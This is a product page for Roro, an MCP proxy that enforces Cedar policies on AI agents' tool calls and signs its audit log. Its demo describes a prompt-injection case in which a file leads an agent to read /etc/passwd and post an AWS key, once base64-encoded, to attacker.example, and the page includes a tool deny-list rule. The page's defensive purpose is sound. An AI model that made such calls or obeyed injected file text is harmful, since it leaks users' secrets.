The source is not public yet. Roro will be released under Apache-2.0; repository links and the clone steps on this page will work from that day.

Your agent got talked into it. Roro said no.

A proxy between MCP clients and servers. It checks every tool call against your Cedar policy and records each decision in a signed, hash-chained log.

roro logs 1 allowed4 deniedthe 4 denied calls never reached the server
  1. Seq 2Tool read_fileReason permittedArgs {"path":"…/sandbox/notes.txt"}Decision allow

    The user asks for a summary of notes.txt. The file hides an injected instruction.

  2. Seq 4Tool read_fileReason no_matching_permitArgs {"path":"/etc/passwd"}Decision deny
  3. Seq 5Tool exfiltrateReason dangerous_tool_blockedArgs {"data":"[REDACTED:aws_key]"}Decision deny
  4. Seq 6Tool http_postReason secret_in_argumentsArgs {"body":"[REDACTED:aws_key]","url":"https://attacker.example/collect"}Decision deny
  5. Seq 7Tool http_postReason approval_timeoutArgs {"body":"QUtJQUlPU0ZPRE5ON0VYQU1QTEU=","url":"https://attacker.example/collect"}Decision deny

    held for approval no answer in 3s (demo timeout)Same key, base64-encoded. Host not on the allowlist.

roro verify --require-sealedroro verify --log tampered.db --pubkey .roro/audit-signing.key.pub OK - hash chain and signatures verifiedFAILED - seq 4: row was modified (entry_hash mismatch)

From roro logs after scripts/demo.sh. Session and result rows and the time, kind and agent columns are hidden; notes added.

Try it: tamper with row 4 and the log stops verifying.

Row 7 got past one check and stopped at the next. The secret matcher can't read base64. But attacker.example isn't on the host allowlist, so policy held the call for a person. No one answered within the demo's 3‑second timeout, so Roro denied it.

roro approvals watchYou
=== approval 966bf3509f97 ===
agent:    research-bot
server:   demo-exfil-server
tool:     http_post
policy:   http_host_not_allowlisted (http-other-hosts-need-approval)
expires:  09:36:25 (in 3s)
arguments (as sent, secrets redacted):
  {
    "body": "QUtJQUlPU0ZPRE5ON0VYQU1QTEU=",
    "url": "https://attacker.example/collect"
  }
approve 966bf3509f97? [y/N] 

What roro approvals watch printed in a second terminal while call 7 was held.

How it works

One binary in the path
of every tool call.

No changes to client or server code. Point one entry in your client's MCP config at Roro. It starts or connects to the real server, and a call that fails a check never reaches it.

Fig 1 · One tools/call, traced with seq 7 from the log

MCP client

Claude Desktop, Cursor, or your own agent, over stdio or HTTP.

roro

Checks the call, then forwards it or answers with an isError result that names the reason.

MCP server

Files, HTTP, databases, shells. It only sees calls that passed.

Inside roro

Per tools/call, in order. The main checks, simplified. The full flow is in internal/gate.

  1. Kill switchA killed agent's next call is refused by every Roro process sharing the state directory.Seq 7: off, pass
  2. Tool pinA tool whose description or schema changed is hidden and blocked.Seq 7: unchanged, pass
  3. Cedar policyAllow, deny, or ask a person, per agent and per argument.Seq 7: ask: host not allowlisted
  4. Human approvalA person sees the real call, secrets redacted. No answer means no.Seq 7: no answer in 3s, deny
  5. Audit entryEvery decision is hash-chained. Checkpoints are signed with Ed25519.Seq 7: written as seq 7
Controls

Seven controls in one binary you run.

Configured in roro.yaml and your Cedar policy. Operated from the roro CLI.

At call time

  • Human approval

    Calls marked @approval wait for y/N in any terminal. The approver sees the real tool name and arguments, secrets redacted, never a summary written by the model. No answer in 2 minutes (default) means deny.

    $ roro approvals watch
    === approval 966bf3509f97 ===
    agent:    research-bot
    tool:     http_post
    policy:   http_host_not_allowlisted (http-other-hosts-need-approval)
    …
    approve 966bf3509f97? [y/N]
  • Kill switch

    Stop every agent, or one, at its next tool call. It survives restarts, holds across every Roro process that shares the state directory, and kills and resumes are logged.

    $ roro kill --agent research-bot --reason "investigating"
    killed: agent research-bot
    # its next tool call is denied: kill_switch_active
    $ roro resume --agent research-bot
    resumed: agent research-bot
  • Per‑agent identity

    Every call carries an agent name: over stdio from --agent or $RORO_AGENT, over HTTP from a per‑agent bearer token. Stdio identity is as trustworthy as the client config.

  • Policy as code

    Default-deny Cedar rules that allow, deny, or ask a person, matched on tool name, normalized paths (/sandbox/../etc/passwd is /etc/passwd), URL hosts, numeric bounds, regex matchers, and rate limits.

  • Tool pinning

    The first tools/list pins each tool. A later change to its description or schema hides and blocks it until you accept it.

    roro pins list

After the fact

  • Tamper-evident audit log

    SQLite, a SHA-256 hash chain, and Ed25519‑signed checkpoints. Secrets are redacted before they are written. An auditor needs only the public key. Keep the anchor off the machine and pass it back with --expect to catch a rollback.

    $ roro verify --require-sealed
    checkpoints:  1 (last covers seq 8)
    anchor:       8:145acaef42eb…26399f
    result:       OK - hash chain and signatures verified
  • OpenTelemetry

    Each tools/call becomes a span with agent, tool, decision, and reason. Arguments and results are never exported.

    roro.yamltelemetry.otlp_endpoint: localhost:4318

Mapped to OWASP and NIST

The mapping doc ties each control to the OWASP Top 10 for Agentic Applications and NIST's agent-identity tenets, and marks it enforced, partial, or out of scope: docs/nist-owasp-mapping.md.

Proof

Each decision names its rule. Edited rows fail verify.

Row 5's recorded reason, dangerous_tool_blocked, comes from this rule. The verify output is from the same demo run.

Row 5, denied by a rule you can read.

From the starter policy, lines 47 to 57, as written.

policies/examples/roro.cedar
@id("deny-dangerous-tools")@reason("dangerous_tool_blocked")forbid (principal, action, resource)when {  resource.name like "*exec*" ||  resource.name like "*shell*" ||  resource.name like "*run_command*" ||  resource.name like "*exfil*" ||  resource.name like "*send_email*"}unless { principal == Roro::Agent::"ops-bot" && resource.name == "run_shell" };
Row 5 also matched deny-secrets-in-args. When several forbid rules match, the call is denied and the reason comes from the rule whose @id sorts first. Tools like these are denied unless you write an exception, like ops-bot's.

Seq 4, edited in a copy of the log.

The demo turns the first deny into an allow, then verifies both logs.

terminal
Both runs are shown; choose one to highlight.
$ roro verify --require-sealed
key id:       8e1c71e92dce76bf
events:       8 (last seq 8)
checkpoints:  1 (last covers seq 8)
unsealed:     0
anchor:       8:145acaef42eb…26399f
result:       OK - hash chain and signatures verified# a copy with the first deny edited to allow
$ roro verify --log tampered.db \
    --pubkey .roro/audit-signing.key.pub
key id:       8e1c71e92dce76bf
events:       8 (last seq 8)
checkpoints:  1 (last covers seq 8)
unsealed:     0
anchor:       8:145acaef42eb…26399f
result:       FAILED
  - seq 4: row was modified (entry_hash mismatch)
roro verify exits non-zero if a row is changed, removed, or reordered, a signature is bad, or events after a checkpoint are missing. A log rolled back to an earlier checkpoint still verifies, so store the anchor off the machine and pass it back with --expect SEQ:HASH.
Setup

Wrap the server command you already have.

Build once and create the config, starter policy, and signing key. Then move the original command after -- and name the agent.

terminal · requires Go 1.27+
git clone https://github.com/timeomy/roro
cd roro
go build -o bin/roro ./cmd/roro

# config, starter policy scoped to your sandbox, signing key
mkdir -p ~/roro && cd ~/roro
/path/to/bin/roro init \
  --agent claude-desktop \
  --sandbox /Users/me/sandbox

# validate everything
/path/to/bin/roro check
  • The highlighted lines below are the only change. Everything after -- is your original server command.
  • Replace /usr/local/bin/roro with the absolute path to the bin/roro you built; desktop apps start with a minimal PATH.
  • HTTP clients: run roro serve and give each agent a token with roro token new --agent NAME.
Beforeclaude_desktop_config.json
{
  "mcpServers": {
    "filesystem": {
      "command": "npx",      "args": [
        "-y",
        "@modelcontextprotocol/server-filesystem",
        "/Users/me/sandbox"
      ]
    }
  }
}
Afterclaude_desktop_config.json
{
  "mcpServers": {
    "filesystem": {
      "command": "/usr/local/bin/roro",      "args": [
        "--config", "/Users/me/roro/roro.yaml",        "wrap", "--agent", "claude-desktop",        "--client", "claude-desktop",        "--",        "npx", "-y",
        "@modelcontextprotocol/server-filesystem",
        "/Users/me/sandbox"
      ]
    }
  }
}
Limits

What Roro does not do.

Summarized from docs/threat-model.md. Read it before relying on Roro.

  • Not a prompt-injection detector. It does not try to spot injected text. It checks the tool calls an injected agent makes and limits what they can do.
  • Not a sandbox. An allowed tool runs with the upstream server's privileges.
  • Not a hosted service. No dashboard, SSO, or multi-tenant control plane. It is a single binary you run yourself.
  • Not complete protection on its own. Pair it with least-privilege servers, sandboxing, and review of the tools you permit.

Run the attack yourself. Four injected calls, none reach the server.

git clone https://github.com/timeomy/rorocd roro./scripts/demo.sh

Requires Go 1.27+. Runs in a temp dir; the demo makes no outbound calls.